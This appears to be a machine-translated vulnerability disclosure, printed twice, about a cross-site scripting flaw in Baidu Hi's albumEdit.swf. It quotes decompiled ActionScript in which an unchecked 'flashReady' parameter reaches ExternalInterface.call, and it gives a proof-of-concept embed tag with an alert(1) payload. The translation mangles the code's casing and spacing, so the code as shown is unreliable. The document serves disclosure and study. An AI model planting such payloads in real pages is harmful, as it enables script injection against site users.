Hi. baidu albumEdit.swf Xss Bug

Summary

Same principle as Vulnerability.
Bytes. After decompiling albumedit.swf, The as script has a vulnerability that can cause xss.

2. Analysis

Some code analysis in http://hi.baidu.com/static/album/albumEdit.swf

Package baidu. albumFilm. modules
{
Public class Constants extends Object
{
......
Public function AlbumEdit ()
{
Super ();
This. config ();
This. readParams (); // call the readParams () function to check the parameters of the input Flash file.
AddEventListener (Event. ENTER_FRAME, this. checkFlashReady); // registers the Event. ENTER_FRAME Event. The Event processing function is checkFlashReady ()
This. checkFlashReady ();
Return;

}
......
Private function onMapFileOver (arg0: baidu. albumFilm. modules. events: AlbumEvent)
{
RemoveEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver );
......
This. addCallBackToJs (); // call addCallBackToJs (). The XSS code is executed here.
Return;

}
......
Private function checkFlashReady (arg0: flash. events: Event = null)
{
Var loc0: * = stage. stageWidth;
If (loc0> 0)
{
RemoveEventListener (Event. ENTER_FRAME, this. checkFlashReady );
......
AddEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver); // registers the DMEdit. MAP_FILE_OVER event. The event processing function is onMapFileOver ()
RequestEffectMapList ();
This. showLoading ();
}
Return;

}
......
Private function readParams ()
{
Var loc0: * = loaderInfo. parameters; // obtain the parameters in the input Flash file.
If (loc0.hasOwnProperty ("flashReady") // check whether the flashReady parameter exists
{
Constants. FuncFlashReady = loc0 ["flashReady"]; // assign the flashReady parameter to Constants. FuncFlashReady
}
......
Return;

}
......
Private function addCallBackToJs ()
{
ExternalInterface. addCallback ("setAlbumInfo", this. setAlbumInfo );
......
ExternalInterface. addCallback ("musicPause", this. musicPause );
If (Constants. FuncFlashReady)
{
ExternalInterface. call (Constants. FuncFlashReady, ExternalInterface. objectID); // execute JS Code that uses Constants. FuncFlashReady as the function
}
Return;
}
}
}

Although hi.baidu.com is not on the video whitelist, insert <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/> post, resulting in XSS.
3. Exploitation

POC: <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/>

Four patches [fix]

Wait for official patch

Note: overview

Same principle as Vulnerability.
Bytes. After decompiling albumedit.swf, The as script has a vulnerability that can cause xss.

2. Analysis

Some code analysis in http://hi.baidu.com/static/album/albumEdit.swf

Package baidu. albumFilm. modules
{
Public class Constants extends Object
{
......
Public function AlbumEdit ()
{
Super ();
This. config ();
This. readParams (); // call the readParams () function to check the parameters of the input Flash file.
AddEventListener (Event. ENTER_FRAME, this. checkFlashReady); // registers the Event. ENTER_FRAME Event. The Event processing function is checkFlashReady ()
This. checkFlashReady ();
Return;

}
......
Private function onMapFileOver (arg0: baidu. albumFilm. modules. events: AlbumEvent)
{
RemoveEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver );
......
This. addCallBackToJs (); // call addCallBackToJs (). The XSS code is executed here.
Return;

}
......
Private function checkFlashReady (arg0: flash. events: Event = null)
{
Var loc0: * = stage. stageWidth;
If (loc0> 0)
{
RemoveEventListener (Event. ENTER_FRAME, this. checkFlashReady );
......
AddEventListener (DMEdit. MAP_FILE_OVER, this. onMapFileOver); // registers the DMEdit. MAP_FILE_OVER event. The event processing function is onMapFileOver ()
RequestEffectMapList ();
This. showLoading ();
}
Return;

}
......
Private function readParams ()
{
Var loc0: * = loaderInfo. parameters; // obtain the parameters in the input Flash file.
If (loc0.hasOwnProperty ("flashReady") // check whether the flashReady parameter exists
{
Constants. FuncFlashReady = loc0 ["flashReady"]; // assign the flashReady parameter to Constants. FuncFlashReady
}
......
Return;

}
......
Private function addCallBackToJs ()
{
ExternalInterface. addCallback ("setAlbumInfo", this. setAlbumInfo );
......
ExternalInterface. addCallback ("musicPause", this. musicPause );
If (Constants. FuncFlashReady)
{
ExternalInterface. call (Constants. FuncFlashReady, ExternalInterface. objectID); // execute JS Code that uses Constants. FuncFlashReady as the function
}
Return;
}
}
}

Although hi.baidu.com is not on the video whitelist, insert <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/> post, resulting in XSS.
3. Exploitation

POC: <embed width = "480" height = "360" wmode = "window" type = "application/x-shockwave-flash" style = "width: 480px; height: 360px; "src =" http://hi.baidu.com/static/album/albumEdit.swf? FlashReady = alert (1) "/>

Four patches [fix]

Wait for official patch